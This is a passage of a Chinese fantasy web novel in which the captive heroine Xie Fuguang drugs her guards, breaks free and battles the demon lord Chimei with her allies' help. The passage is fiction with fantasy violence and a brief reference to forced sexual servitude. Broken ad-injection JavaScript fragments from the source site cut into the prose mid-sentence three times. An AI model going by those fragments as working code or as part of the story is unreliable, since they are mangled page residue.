螭寐闻言静了片刻,在这寂静里,他忆起些旧事,冷哼一声:“大小姐,你与你父亲还真是像。” 谢扶光轻掀眼皮。 “哦,我是说真正的谢白扇。”大抵觉得事已至此,没什么好瞒,螭寐又将旧事抖落几段,“说起来你还从没见过他,当年他被剥魂夺壳前,甚至想过跳入千秋雪,身体魂魄皆受万灵啃噬而死。” 千秋雪是过去妖魔界与修界交战后埋葬尸骨的地方。 那里从表面看,只是一片寻常湖泊,甚至堪称美丽。千秋雪地处四季恒春之谷,身披经年不化之冰,每年阳春三月,都能看到飞雪梨花相映白的美妙景象。 而湖底却尽是怨灵恸哭,赶上阴年阴月阴时,离老远都能看见湖面盘旋着层层叠叠的黑云——那都是亡魂们经年也不能泯灭的怨念。 “可惜啊,”螭寐边说,边像蛇一样扭曲着观察谢扶光的表情,“他的身体没死成,只有抽出来的灵魂被丢了进去,万灵噬魂,嘶——你说,你父亲死时该有多痛苦啊?” 他说这话时,谢扶光始终没有表情,于是螭寐说到最后,话里带了浓重的渲染。 “你不用那么卖力,”谢扶光冷静到堪称无情,“我没见过他,没感受过他的好,自然不会有多替他难过。” “不过你告诉我这些,倒让我更想死了。”她凉凉笑了一声,“我父亲死了二十年,他占据我父亲的躯壳就有二十年,光是想想就够恶心。” 螭寐没看到她生气或是难过,气急败坏一甩手,用黑气将她全身封了个彻底。 “好好的美人,性子干什么这么烈呢?你看,这样多难看。” 说完这句,螭寐传唤来的手下刚好赶到,他应当还有其他事要办,让手下们看着谢扶光以免她耍滑头,自己则出了门。 螭寐应是能控制黑气的攻击性,施加在谢扶光周身的黑气就仅起到限制她所有灵力和动作的作用,对那副“谢白扇”培养良久根骨并无分毫影响。 螭寐走后,两名魔兵盯了她一会儿,谢扶光始终毫无动作,比死人还乖。 魔兵们只认真监视了两炷香左右,注意力便渐渐散了。 可谢扶光全程神经紧绷,捕捉到两名魔兵的懈怠,当即抓紧时间小小动作起来。 64.灵钥 那根邪脉先吸纳了左手的黑气,谢扶光看着掌心,默念三遍崔惊厄姓名,连接刚一形成,他的声音立时在脑海炸开。 “你在哪?” 此情此景,谢扶光其实有那么点尴尬。 她脸上还罩满了黑气,为免两名魔兵察觉,邪脉只吸纳了覆在半只眼睛上的黑气,黑乎乎一团与掌心的崔惊厄对上,在阴暗山洞里怎么看都有些惊悚。 “螭寐把我囚于康城至东、南屿山半山腰的山洞,我已想到了脱困之法,但螭寐当下对我警惕心极低,机会难得,我暂且还想先留在这儿。”她简单交代了自身情况,然后问,“找到李兰允了么?” “找到了,总体还算顺利。” 和谢扶光料想的一样。 螭寐今日有意无意向她透露了许多事,应是“谢白扇”行动在即,事已至此,没了瞒她的必要。 况且螭寐自负至斯,自以为对她的锁链加黑气囚困无人可破,只要把她牢牢控制住,待化影境通关,直接传送回万里悲丘,交给出入口守株待兔的“谢白扇”剥魂夺壳,任其他人再想翻什么风浪,都已于事无补。 李兰允会不会交代他们什么,倒真没那么重要了。 但没那么重要并不意味着白给,以螭寐的性子,总要给他们添点麻烦,况且在化影境多拖他们些时候,还能让谢白扇等久一点。 他没有谢白扇强,魔族又天生要服从于厉鬼,所谓“王不见王”,多年来对谢白扇的种种要求和压制,他早有怨言,已习惯在行事时暗戳戳使几个绊子。 魔尊使“小绊子”,自不会止于玩躲猫猫一样把人藏起来,他相当残忍地在李兰允身上连捅了数十刀。 这事他很擅长,早年因无法杀死李兰允,他动辄对他深深折磨,想用身体的疼痛逼他终止化影境,毕竟死了一了百了,总好过无休无止的苦痛,可惜李兰允宁肯生生受着也不愿死。 螭寐看着他时常会不解:生来就是蝼蚁,又被他糟出一副污眼睛的杂碎样,肉身已然残破至斯,怎么还这么顽固地守着心里那点可怜的坚持? 李兰允的血被洒在康城各处,他体内气息原本就杂,经这一搅,更是比梅雨季巷角的水坑更浑,卢笑绒仔仔细细闻了半夜,也只能把他可能在的地点缩小至三处。 众人一筹莫展之际,崔惊厄很不着调地摸出器墓迷阵通关后,器灵们给他的那颗骰子。往日谢扶光在时,他也摸出来玩过,但那会儿投骰子前,他总要耍着宝“天灵灵地灵灵”地做个法,这会儿周围没了想哄的人,他也失了这活泼劲儿,直接把骰子抛给舒扬舟。 “用你那开过光的洪福运脉,选个地儿吧。” 舒扬舟一时还不是很适应突然造访的运气,下意识退了一步,而后才接过骰子,蹙眉问:“能行么?” “遇事不决问玄学,老祖宗传下来的习惯。”崔惊厄懒洋洋催他,“别墨迹,办完这边的事我还赶着去找大小姐。” 事实证明,舒扬舟的洪福运脉的确能行,他投出个最大的点数,对应的那处地点恰好是李兰允真正的所在。 彼时螭寐还在兴致勃勃地安顿谢扶光,关李兰允的院子虽围了数名精悍魔卫,但再强的手下也不抵魔尊本人,他们都不是这群少年英才的对手。 崔惊厄打头顺利带出李兰允,又在卢笑绒的嗅觉警示下,避开魔兵追捕,众人藏进了城郊一座近乎荒芜的废宅。 “赵前辈帮忙把李兰允体内的另一个魂魄抽了出来。”崔惊厄简述半个晚上的情况,“那魂魄是螭寐从地府特地挑选的生魂,生前就干的这种营生,重操旧业,适应的很快,况且……” 据那生魂交代,他被屏蔽了知觉,螭寐要求他每月至少接待五十名客人,床上玩得越花越下贱,便算任务完成得越好,螭寐会给他记下额外的奖励。奖励等到把李兰允逼死即可兑现,螭寐会让他在凡人中任选一个喜欢的皮囊,顶替那人多活一世,还会给他很多钱。 生魂说到此处,悲从中来,竟呜呜哭起来。 他日日盼着李兰允嗝屁的一天,哪知兢兢业业劳碌近二十年,非但没逼得李兰允解除化影境,反被一群煞星活生生剥了出来。 他自认日常行径已很不要脸,孰料李兰允看着自己的身体被玩成这样,还非腆着脸活在世间,简直比他更贪生怕死。 “人虽抢出来了,他身体却完全被死物主导着,不能言语,”崔惊厄继续道,“我们正在想办法与他沟通,最好能劝说他终止了化影境。” “先别!”谢扶光急道。 崔惊厄听她这样说,立刻走到李兰允面前转达了意思,顺便向周围众人替谢扶光报了个平安,这才又走到一旁询她缘由。 “按照之前的经验,秘境一旦通关,我们会很快被传送出去。”因两人心念沟通,谢扶光解释得很快,“一方面,李兰允若有要交代我们的事,或者要请我们帮的忙,我们很可能来不及办完,化影境的终止不可逆,如此他这么长时间的坚持就白费了;另一方面……‘他’很可能仍在秘境的出入口等着我们。” 崔惊厄明白,谢扶光最后一句里的“他”是谢白扇。 “我有种预感,这次出去,或许就是……最后了。”她顿了顿又道。 随他们与真相的距离不断拉近,危险的脚步也如影随形,螭寐今日把许多事有恃无恐地吐露,不难想见谢白扇已到了行将出手之时。 “趁我们还身在化影境,至少要做些准备,不然贸然对上他胜算太小……” 话没说完,负责看守她的魔兵不知抽了哪门子邪风,又恪尽起职守,凑近看过来。谢扶光从邪脉中抽出几缕贮存的黑气,弥补上黑气的空缺,掌心的通讯纹重新被覆盖,不多时两人联系就断了。 崔惊厄盯着右手又看了一会儿,然后将舒扬舟扯离了人群。 “你师妹越来越飘了,她想自己杀螭寐。” 这事儿谢扶光没有直说,但他能品出这层意思。 她明明能逃,却执意留在那处阴湿山洞,定然有所图谋。 而以谢扶光的性子,这个“图谋”通常是谋命。 谢扶光其人,遇事仅有三分把握时,就敢硬凑上莫须有的一分时和一分运,拿着牵强附会的五成胜算去拼命,莽得可以。 但那是从前,现在有崔惊厄在,他不会再让她耍命玩。 很显然,舒扬舟也不会。 这当哥的比他更粗暴,直接就是一句:“我看她不是飘了,是疯了!” “是,这事儿不能由着她自己疯。” 崔惊厄说完,紧接着就是一句:“我得跟她一块儿。” 舒扬舟险些白眼翻上天。 “你要不要一起?”崔惊厄无视他的大片眼白,抛出橄榄枝。 舒扬舟叹口气。 “说吧,怎么办?” “办起来也简单,你尽快把霜寒十四式掌握到三成即可。” 舒扬舟:…… 于是,谢扶光蛰伏于南屿山的山洞,与花蜘蛛相看两厌的一夜,舒扬舟练剑险些练吐了。 屋内灯烛一夜不灭,赵东元和黎暨两颗脑袋凑一起,苦思与李兰允的交流之法,二人尝试将傀儡术和符咒搭配使用,总算在天亮前琢磨了个法子出来。 赵东元仿照螭寐将生魂打入李兰允身体之举,在他体内 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 放了副傀儡,黎暨则在轻尘传下来的符咒海中打捞半个多时辰,翻出一道可传导意识的符咒。 两人配合,李兰允的意识可通过符咒显化于傀儡,进而以主导傀儡的方式,拿回对身体的控制权。 “李公子,时间紧迫,有话我就直说了,”崔惊厄出面与李兰允交流,开门见山道,“我们这边尚需做些准备,还请您再撑些时日,暂且不要终止化影境。当然,您若有什么交代,我们也会竭力替您完成。” 李兰允在以年为单位的苦痛中浸泡太久,思维都有些卡顿,用了许久时间来反应和措辞,然后终于慢慢开了口:“你们认不认识渡业山的谢扶光?” 听到谢扶光的名字,崔惊厄眉毛下意识就是一挑,挑完念及场合凝重,又端庄地落回原处:“我认识她,李公子有事交代她?” 听到他说认识,李兰允显然相当激动,原本空洞的双眼登时有了神采,几欲落泪,话也跟着颠倒起来:“她……她母亲,我受她母亲的故友之托,东西,对,留了东西要给她。” “什么东西?”崔惊厄忙问。 “我,我不知道,”李兰允记性似乎有点不好了,刚还亮出光彩的眼又混沌起来,雾一样迷迷蒙蒙,“东西在一个地方。那人自称是她母亲的师兄,给了我一把灵钥,可以开启那个地方,那灵钥就是此刻占据着我身体的灵物。” 崔惊厄闻言,心口遽烈一跳:“你以灵钥为灵物,待终止了化影境,灵钥就会粉碎,届时该如何开启?” “自化影境生成之日起,我即是那把灵钥,”谈及心中兜转千回的使命,李兰允说快了些,“那个地方自然由我血躯来开启,灵钥只能用一次,用后即会在一个时辰内粉碎,我的责任、我的命数到那时方能尽,我死时化影境会自然终止,你们照样能够通关出去。” “不行!通不通关是小事,总不能眼睁睁看你丧命。”崔惊厄反驳,“一定还能想到两全的法子,无论是我,还是谢扶光,乃至她的母亲和将灵钥托付给你的那位前辈,他们都不会希望那个地方的开启是以你的性命为代价。” 李兰允没有就此事与崔惊厄争辩,他只是静静回想起当年交给她灵钥的仙长,那人说他叫夙游,是灵钥主人宛流萤的师兄。 夙游容貌昳丽,为躲避追捕,穿着件从寻常屠户家借来的粗布衣,依然遮不去眉目风流。 再然后,那个可怕的人就追了过来。 再再然后,就…… “他死了,我亲眼看着。”李兰允突然喃喃说。 “牺牲这事儿吧,不能跟风啊,”崔惊厄忍着额角一跳一跳的疼,温言相劝,“但凡能不死,咱还是努把力,把命苟一苟,就当为十月怀胎生你的老娘呢。” 李兰允应是没听进去,他一直喃喃个不停:“我是看着他死的,就死在,死在我怀里……” 人执意装睡,神仙也难叫醒。 见他沉在二十年前的世界里,崔惊厄索性也不再劝。 正巧卢笑绒给宁磐熬的药还剩下一些,他便叫她端了过来,能让这位李公子冷静下来则最好,若不能……总归以他开启了化影境的身体状况,喝什么都死不了,权当保健了。 他举起药匙,正要往李兰允嘴里送,李兰允却又冒出一句:“他现在还好么?听了我的话,没去万里悲丘吧?” “什么?”崔惊厄觉着他脑子怕是真出了问题,“你刚不还说他死了吗?” “可他又投胎了啊,我还给他托过梦,叫他别去那地方,梦只能托一次,之后他如何我就不知道了。”李兰允在一串絮絮呢喃后缀上惊心动魄的一句。 “江星,他还好么?” 65.战螭寐 直到与李兰允分开,崔惊厄都没明确答他这一问。 崔惊厄不忍骗他,更不忍如实告诉他,只搪塞自己没听过江星这号人物,等见到谢扶光,会替他打听打听。 他们没有在废宅耽搁太久,众人兵分三路。 卢笑绒陪宁磐出城养伤,康城以外身形隐匿,她又有极品嗅觉规避妖魔,兼有赵东元留下照看,安危不成问题; 黎暨拖着尚未完全适应身体的李兰允,慢行前往距离康城一百里外的溪桥镇,等待汇合; 剩下崔惊厄和舒扬舟则踏上了去南屿山帮谢扶光打螭寐的征途。 李兰允口中的“那个地方”位于人界至北,是一片与万里悲丘一样广袤的沙漠。 那里气候极端,比万里悲丘更不宜人,凡人称之“死人地”,便是他们这些修士去了亦很可能有去无还。 而溪桥镇则是通往那“死人地”的必经之处。 谢扶光在那次连接断掉后,就没再主动与崔惊厄联络,而螭寐用术法隔绝了山洞中隔空寄音的传递,崔惊厄也联系不上她。 山洞潮湿阴暗,不知是不是体内多了朱颜故所赠邪脉的缘故,不过被关了一夜,她已无比思念日光。 大花蜘蛛结网效率喜人,原本仅挂着几根蛛丝的网已然结成大片,左下角被她的脑袋占了地方,网缺了一角,蜘蛛囿于对黑气的恐惧不敢冒进,盯她的目光却虎视眈眈,至少比负责监视她的魔兵们认真。 螭寐走后一直没回来,谢扶光用一夜时间,把螭寐加在她周身的黑气在那根邪脉过了一遍,几经练习,已能在瞬时收放自如,而那两只魔兵哈欠连天,鼾声如雷,对此一无所知。 她调用黑气熔断了囚住她的强劲锁链,如今她看似被囚得安稳,实则随时可以挣脱束缚。 她动作轻缓地取出随身携带的迷香,辅助两名魔兵睡得更加安详,然后脱离锁链,在桌上茶水里添了些缚灵散,又将曾在轮回境中农院用过的、那能令魔物上瘾的毒烟分散藏匿于各个角落,只待等会儿打起来,随手就可引燃。 做完这一切,她退回猎物的原位,以自己为饵,静待她自负的猎人上门。 破晓时分,洞壁的裂缝悄然滑进第一丝光线,螭寐的脚步声就伴着这晨阳而来。 谢扶光身体霎时绷紧,乐命刀柄无声一抖,感受到主人战意,迫不及待出鞘。 螭寐进门时,迷烟早已散了,两名魔兵听见脚步声,条件反射支棱起来,一个猛揉惺忪睡眼,一个狠狠擦拭已流到锁骨的哈喇子。 两名魔兵在狗腿之事上配合默契,一只用魔火为桌上茶加了温,另一只动作麻利地斟满一盏,堆笑小跑着给螭寐递来。 谢扶光隔着一层纱似的黑气,屏息凝神盯紧那茶盏。 她看见螭寐接过那盏茶,送入口中的瞬间动作却是一凝。 谢扶光一颗心高高提起,却见他只是蹙了下眉:“你们身上这是什么味儿?出去,洗干净再进来。” 洞中迷香已被谢扶光驱尽,而两只魔兵身上难免沾染,她不愿靠近他们,放任了这浅淡气息的存在,哪知就这么一点就被螭寐闻了去。 幸而螭寐太过相信自己特制的锁链,只当是手下们身上的怪味,并未怀疑到她头上。 但以螭寐的龟毛,被“怪味”染过的茶,他定然不会再喝了。 螭寐随手泼掉加了缚灵散的茶,向前几步与谢扶光相对而立。 见她被囚得老实,他毫无防备,还得意笑道:“大小姐,好乖呀。” 螭寐说着,似想看看她的表情,就要将黑气收回些许。 如今谢扶光身上黑气都已在邪脉周转过一遭,与螭寐本身的黑气大体相似,却不乏细微区别。 经适才泼茶一事,她已亲眼见证他的敏锐。 螭寐是自大,不是傻子,若三番五次察觉不对,势必要对她生疑,届时她便失了先机。 谢扶光不敢托大,在他伸手欲收黑气的一瞬,将浑身机能调用到极致。 邪脉经过数次收放黑气的练习,早已蓄势待发,霎那间扩张,将谢扶光全身黑气尽数吸纳,甚至螭寐那深以为傲的锁链都成为了它的养料。 趁螭寐错愕之际,谢扶光左手同时打出八枚拨云子,借拨云子炸开的火星将埋在石洞各角的毒烟引燃。 毒烟之瘾螭寐非不能抗,可如此大浓度地在洞中弥散,到底要分散他几缕心神来抵御,而这时谢扶光右手食指轻勾,磨拳霍霍已久的乐命应召飞来,尖利刀尖直刺向螭寐心口,带起一阵愉悦的风。 然螭寐多年舔血,却也绝非坐以待毙之徒,他反应力惊人,身体对危险的逼近有一种近乎直觉的机敏,尽管乐命已是修界难得一见的快刀,却没能快过他真正严肃起来的一念,刀风拂面之前,螭寐身体已凭本能有了判断,果断向右一偏,乐命未能刺入他心脏,只染上了他肩头的血。 螭寐如今再怎么染上当权者骄矜的弊病,在当年也是腥风血雨中拼杀上位的魔尊,流过的血不比喝过的酒少。 此刻肩头纵已血流如注,他却连神色都未变,只眸色转冷,目光不善直剔向谢扶光。 谢扶光倒也未惧,她等这一战等了一夜,此刻无论战意还是锐气都处在全盛,她始终仔细观察他动作,心上一刻未停止周密谋算,准确预判他一躲之下身体的位置后,使出十成劲力在他后心击了一掌。 螭寐一口黑血应声而吐,但谢扶光再强也是刀修,而术业有专攻,她掌力虽不弱,相较刀上功夫却相去甚远,更何况百足之虫死而不僵,螭寐数百年修为,早堪称钢筋铁骨,如此全力的一掌也不过仅可损他三分。 谢扶光不馁,步步紧逼,短短片时已连出数刀,重重杀机抵着螭寐几度避退。 碍于那根束缚灵力的姻缘线,谢扶光无法动用左手,而螭寐先是失了先机,后又因对谢白扇的忌惮,出手颇多顾虑,两相缠斗,竟隐有持平之势,胜负难分。 相较螭寐,谢扶光更想尽快结束战局,这一场她占了攻其不备的便宜,纯以实力相论,她自知并不能敌螭寐,拖得越久,待螭寐从初时仓皇回神,她的胜算只会越小,况且螭寐还有大量魔兵手下就守在康城,蚊蝇虽小,却烦在难缠。 谢扶光急于求胜,深深呼吸一口,将灵、邪双脉调用到极致,边向螭寐发起猛攻,边不断化解螭寐招式。 螭寐从石洞一头一路被压着打到另一头,谢扶光出招迅猛,刀刀式式织成一张 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 巨网,完全未留给他找回主动的空隙。 洞壁冰凉的触感侵袭后脊,螭寐被这森冷寒意一激,他处于下风,自负终于褪去,意识到谢扶光动了真格。 渡业山大小姐虽因太过年轻,修行的底蕴比他不及,却绝非池中物,若他再不做些什么,很可能真会死在她手上。 他偏头避过裹挟劲风斩下的一刀,刀气剐蹭下左颊皮肤崩裂数道创口,他就在这血液与风声里轻轻开口。 谢扶光观他口型,像是唤了个名字,可声音太小,又经利刃破风声掩盖,她并没能听清。 她心下的错愕通常不会反映到手上,虽起疑窦,出招依然狠准。 而不知怎的,随着这名字被唤出,谢扶光耳中蓦地传入一道低吟,初听并无玄机,可低吟声甫一入耳,瞬间化为一股邪气,在她肺腑间左冲右撞,她体内原本的邪气与之和鸣,险些冲破额间真极绳化的那道朱砂印。 她一时头痛欲裂,强忍住伸手扶额的冲动,横刀御在身前,神识混沌间只听乐命刀身哼出一道沉重闷鸣,险伶伶阻住了螭寐打在她心口的一掌。 耳中灌入的邪气与谢扶光体内被真极绳镇住的邪气出自同源,便是朱颜故的邪脉也无法吸纳和驱赶,唯一庆幸的是其效力并不持续,在五内冲撞过几轮,即已消散大半。 只是经这一遭,谢扶光初时那点优势尽散,在螭寐面前当即落了下风。 螭寐已知她能吸纳黑气,放弃用这种无形力量来牵制她,落在她身上的都成了真真切切的招式,不算十成力道的杀招,但每一出手也至少带出七成威势。 他这回出手带着股狠戾,除去被她摆了一道的愤怒,似还夹杂一种更强烈的恨意。 适才他喊出的名字是那人在成为厉鬼前的姓名,搅乱谢扶光章法的声音名“厉鬼的呢喃”,是那人给他的恩赐,用以让他在危急关头保命。 他表面接下,实则却从没用过,还深以此为耻,原以为凭他的深厚修为,一生都不会用到,能让这屈辱的“恩赐”彻底烂在那人赐予他的一刻,永远尘封,孰料竟在今日被谢扶光一个小辈逼了出来。 刚刚出门这一趟,那人还传了指令过来,称谢扶光如今有了那真极绳,行迹已脱离掌控。为免生变,最多给他两天时间 ,叫他尽快将人送出化影境,不要趁自己不在康城,就搞小动作。 螭寐最烦被当奴才使唤,来时其实带着怒气,看到谢扶光被囚的乖巧形容,这气才淡去一些。 如今先是被她暗中忤逆,压着打了一路,后又无奈使用了那人“恩赐”,螭寐自尊严重破防,杀意喧嚣。 谢扶光双目因头疼泛起的雾气终于退散,眼前才复清明,就撞进螭寐愤恨的眼。 她脑子余痛犹存,但不妨碍思考,对上这双眼的一霎,登时就起了个念头。 螭寐性易怒,怒极时很难保持理智,谢扶光决定再添把火烧穿他的脑子。 看出他眸中恨意的复杂,多半不是对她,谢扶光于避退中奚落:“魔尊心情不好?可冤有头债有主,把对别人的怨气往我身上撒,这叫没种。” 谢扶光没料到,她这一句聪明反被聪明误,话一出口,她非但胜算不增,竟是连脱身都难了。 66.没战完,继续 螭寐双眼被激得发红,突发两声喋喋怪笑,恶狠狠盯着她:“谢扶光,今日我在这儿杀了你,便算是有种。” 谢扶光一听,不由暗悔。 他脸色变得突然,堪称全无征兆,她一时只能看出他是在说出那个姓名后被激起不快,而从他适才的话,真正令他心生恨意的人竟似是……谢白扇? 他们两个斗法,拿她作池鱼来殃及,想到这儿,她胸腔也烧起火气,原本就臭的脸上怒意炽盛,大有要与他不死不休之势。 但谢扶光素来把情绪与理智分得很开,她一怒之下也只是怒了一下,毕竟先机已失,再斗下去已然不明智。 恰巧冲撞在她胸腔的厉鬼呢喃在此刻散尽,她紧握乐命,作势要同螭寐再战,却在提刀迎上的瞬间,足尖猛点地面,借力向后急掠数步,就打算走为上。 螭寐饱含煞气的一招落空,无从着力,向前踉跄半步,身形一滞之下,眼睁睁看着谢扶光身如游鱼从他指尖滑过。 螭寐丢了人,犹未收手,落空的掌心顺势向下,将余下七分劲力悉数打在脚下山体。 可怜南屿山一座小小山头,先经历一场洞中缠斗,又无辜生受这魔尊一掌,两相磋磨下,竟呈摇摇欲颓之势。 谢扶光不妨山体陡然晃动,向外疾冲的身形一个歪斜,只这瞬息间的停顿,螭寐便已从后追将而上,一照面便是一掌袭来。 “杀了我,你也讨不到好处。” 谢扶光不及挥刀,邪脉涌出黑气抵挡,可黑气到底不如乐命坚牢,仅能卸下八分掌力,剩下两分落在她胸口,纤瘦身形残叶般一抖,她顺势后仰,宁肯坠下这百丈绝壁,也不欲落于他手。 而螭寐见状,同样一跃而下,坠落途中再度向她出手。 崔惊厄和舒扬舟匆匆赶来,隔着老远便见此情形。 舒扬舟三魂登时丢了七魄,一转头,崔惊厄已放出小美人,薄唇抿成一线,就要御龙去接。 舒扬舟不多话,也迅速攀上小美人龙身,小美人一个龙跃,身形窜如流矢。 彼时谢扶光于坠落途中且战且避,已与螭寐过了数十招,乐命金贵的刀鞘在石壁剐出锐响声声,勉强阻住坠势。 “不杀你,我就快活了么?”螭寐狞笑,这怨气他实实在在已忍了很久,“他算什么东西?为人时堕了鬼,做鬼后又忘不掉做人那点好,好事坏事掺着做,我最是瞧不起……” 谢扶光此刻人在空中,敌人在侧,一面得小心着不能摔下山,一面又分出大量精力躲避螭寐攻击,一面还得筹谋着如何打消螭寐被激出的杀意,一心已然三用,没了搭理他跟“谢白扇”这点恩怨情仇的余地。 于是螭寐嘴上放鞭炮似的大段输出过后,她突然问了驴唇不对马嘴的一句:“你知道你为何一直没能修成厉鬼么?” 说话时,她避开螭寐一掌,凌厉掌风将她一缕扬起的青丝震碎。 数百年未修成厉鬼一直是螭寐心头大憾,尤其被“谢白扇”这个厉鬼抢占了先机,更是令他如鲠在喉,一日恨不得能耿耿三次。 闻言,他额侧青筋果然一跳,手上动作却缓下来,似真想听听她“高见”。 “因为你行事太冲动,且不懂合作的妙处。” 谢扶光仅将崔惊厄的忽悠神功传承三分,已足以在世间立足,她循循善诱着,还能分神往下瞥去不动声色的一眼。 且避且战间,她距离地面仅余山洞的一半高度,再低一点,以她的轻功就可以直接跃下,或许会受些伤,但至少不至粉身碎骨。 定了定心,她接着说:“你现在杀我势必得罪‘谢白扇’,他未必就不会杀你。过刚则易折,须知‘留得青山在不怕没柴烧’的道理,与其与虎谋皮,不若我们联手,一起对付他。” 听到最后一句,螭寐突然笑了:“谢大小姐还真是不见棺材不落泪,如今棺材都给你造好了,只待君入,竟还做着反杀的美梦。我若与你联手,才是真的不想活。” 螭寐的话不好听,但谢扶光看出他在嘲讽过后,愉悦了许多,情绪也随之冷静下来,不再狠厉出招。 谢扶光扫一眼地面,又近了些,再往下几丈,就到了可以一跃的高度。 她握刀鞘的掌心悄无声息滑入两颗拨云子,只待时机到时砸出,只要能迷惑螭寐一瞬时间,她就有五成把握逃脱。 而就在这时,一道熟悉龙吟从身后传来,谢扶光听出是小美人的声音,后脊汗毛登时根根竖起。 螭寐听不出小美人,一双眼眸犀利眯起,朝声音来处乜去。 待他看到崔惊厄,好不容易偃旗息鼓的杀意定要再起,谢扶光凡事不喜被动,当即决定提前出手,两颗拨云子率先砸了过去,随即身体直接后仰,像坚信定有人能接住她一样。 螭寐的眼睛是细长型,缝隙开得不大,但视力好的出奇。 近乎与谢扶光出手的动作同步,他看清那急掠而来的蛟龙与其背上人,眸色登时转厉。 “你设计我?!” 谢扶光一人打不过他,可加上崔惊厄和舒扬舟,他真真切切感到生命被威胁着,前所未有强烈的杀心顿起,杀意沿四肢百骸跃入脑髓,不同于先前被激怒后的愤恨,这次是危难关头、求生意识驱使下的你死我活。 螭寐半因怒极,半是急着先斩一敌,赶在小美人飞入战局前,调用全身魔气朝谢扶光挥出一掌,两枚拨云子不待近他身即被震碎于猎猎山风,四散的碎末如飘浮雾气,螭寐大掌则破雾气而出,直追谢扶光越坠越快的身体。 谢扶光以乐命相迎,于一霎间挥出百十刀影,重重刀光却轻易被那气吞山河的一掌震散,乐命刀身剧颤,被掌力震开,直从谢扶光掌中脱出,插入山壁,刀刃没进数寸。 与此同时,小美人也已飞至近前,崔惊厄足尖点在龙身借力,身形又窜出数米,眼见就足以触碰到谢扶光身体。 螭寐却先他一步,化黑气为绳缠住谢扶光腰身,扯着她向后与之拉开距离,掌心顺势一移,残余掌力就要落在她前胸。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 谢扶光调用邪脉吸纳黑气,试图脱离钳制,而螭寐的黑气也在源源补充,二者竟达成一个平衡。谢扶光腰间束缚牢不可捍,只得极力侧身,试图避开要害以左肩扛下这一掌,总归她的左手留着无用,废了也不是不行。 螭寐的掌风浓烈到她近乎睁不开眼,而就在这时,她腰间钳制竟是一松,谢扶光游鱼般漏出黑气缠绕,这才回眸瞥去,却见螭寐手背插了支袖箭,是舒扬舟的手笔。 按常理,螭寐不该为此等暗器所伤,这样的小把戏他拂一拂袖即可避开。 然舒扬舟的洪福运脉委实作弊,螭寐余光瞥见暗器后本已分出几缕掌风震偏了其航向,箭尖即将落空之际,丝丝山风却适时吹来,就那么水灵灵地把跑偏的袖箭吹回了正确航向,在螭寐惊异的目光里正中他那只源源散发黑气的手。 钳制微松,谢扶光得以及时闪避,他一掌便落了空。 熟悉的银丹草冽香从身后罩来,谢扶光肩头一暖,足底紧跟着落实,停下了坠势。 崔惊厄接住她,将她抱上了小美人的背。 三人于蛟龙庞大躯体之上,与对面黑气凝成的云朵上立着的螭寐相峙。 螭寐一介魔尊,毫无强者自觉,对上的纵是几个小辈,也当即掏出块金质方形的令牌,就要召手下过来以增胜算。 谢扶光虽已安全,始终未忽视对螭寐的观察,他指尖黑气刚注入令牌上的凹槽,便被她敏锐觉察。 邪脉再度扩张,就要将黑气悉数吸纳。 “班门也敢弄斧。”螭寐一声冷嗤,指尖黑气更浓,凹槽以肉眼可见的速度迅速被填满,召唤行将成形。 与之黑气博弈,谢扶光自知打不过,她心下一动,决定反其道而行,原本扩张的邪脉又骤然回缩,挤压而出的黑气从她掌心逸散,以假乱真,轻易登上了那方令牌。 螭寐不知她何故陡然变招,一霎疑窦先起,便错失了阻止的良机。 谢扶光传进令牌凹槽的黑气里掺了拨云子碎屑,甫一进入当即炸开,螭寐的令牌材质虽不错,但他平素太招摇,牌子上雕了颇多纹路,其中不乏几道纤如毫发,正常使用不会磨损,却经不起拨云子这一炸。 纹路改变,召唤自然无法成形,被那“砰”的一声吓回了娘胎。 螭寐捏着炸毁的牌子,眼底被怒火烧成赤红色。 螭寐的威严与自尊一而再被挑衅,两方算是彻底结下了梁子。 今日后螭寐若活,势必要找他们的大麻烦。 这下他们便是想走也不能了,只得大杀一场,最好永绝后患。 谢扶光在螭寐注视下,淡然将适才倾出的黑气收回,毕竟偷来的东西无法自给自足,一丝一毫都是宝贝。 随后她轻盈身形跃至石壁,抽出没入其中的乐命紧握在手。 “螭寐,你不是说我的棺材都做好了么?”对上人人谈之色变的魔尊,她眼中竟全无惧色,“那么你今日可得好好体会,被一个你看不起的将死之人所杀,是什么感觉呢?” 67.又没战完,再继续 话音落的同时,谢扶光调用全身灵力尽注乐命,如在轮回境中与崔惊厄配合过的那样,以一式“凤舞九天”,拉开了鱼死网破的架势。 金色中夹杂赤红的凤凰图腾于空中显现,嘶鸣一声,与谢扶光一齐直冲向螭寐。 崔惊厄递给舒扬舟一个眼神,旋即以左手使出那式“苍龙出渊”,威势虽较右手剑略逊三分,好在有舒扬舟从旁弥补,二者剑影齐出,倒能与谢扶光的刀光合一个严丝合缝。 螭寐头顶龙凤双影再度成形,身畔刀气剑气也同样将他围得密不透风,战局乍一看,与农院那晚相差无几。 但总归有不同。 场中三人俱得到了轮回境主人们的通关遗赠。 当初在农院,螭寐以黑气将自己团团围裹成茧,来抵御无处不在的刀气剑气与头顶几欲灼穿他的炽盛金光。 而今时谢扶光从朱颜故那里得了邪脉,她领悟力惊人,又具十足耐力,一连数百招手上出刀速度不减,还有余力控制着体内那根邪脉,层层将螭寐围成的黑气防护向下剥。 崔惊厄亦充分吸纳了轻尘给的菩提心法,菩提心法偏近佛道,融入剑招最克螭寐这等魔物。 “我说魔尊大人,这些年功法没见长啊。”崔惊厄侃言,顺便朝谢扶光剔了下眉,示意这才是战时扰乱敌方心绪的正确打开方式,没事别瞎搞激怒那套。 哪知这回螭寐格外沉得住气,依旧默默结着自己的“黑茧”。 情况还是有点棘手。 百足之虫死而不僵,螭寐乃货真价实杀上位的魔尊,他固有性格上的诸多缺陷,战力却无从质疑。 饶是他们三人合围,也只能如此僵持着,看似占据上风,实则始终无法伤他。 这样的情形对他们很不利。 螭寐在康城手下太多,一旦哪个前来禀告些什么,撞见这场面,僵持的天平当即就要歪斜。 谢扶光看中的猎物从来必要得手,眼见螭寐就是在拖一个转机,她耐心逐渐失去,手下刀式略变,原本的凤凰图腾也跟着发生变化,转为一个阴阳太极。 “别……” 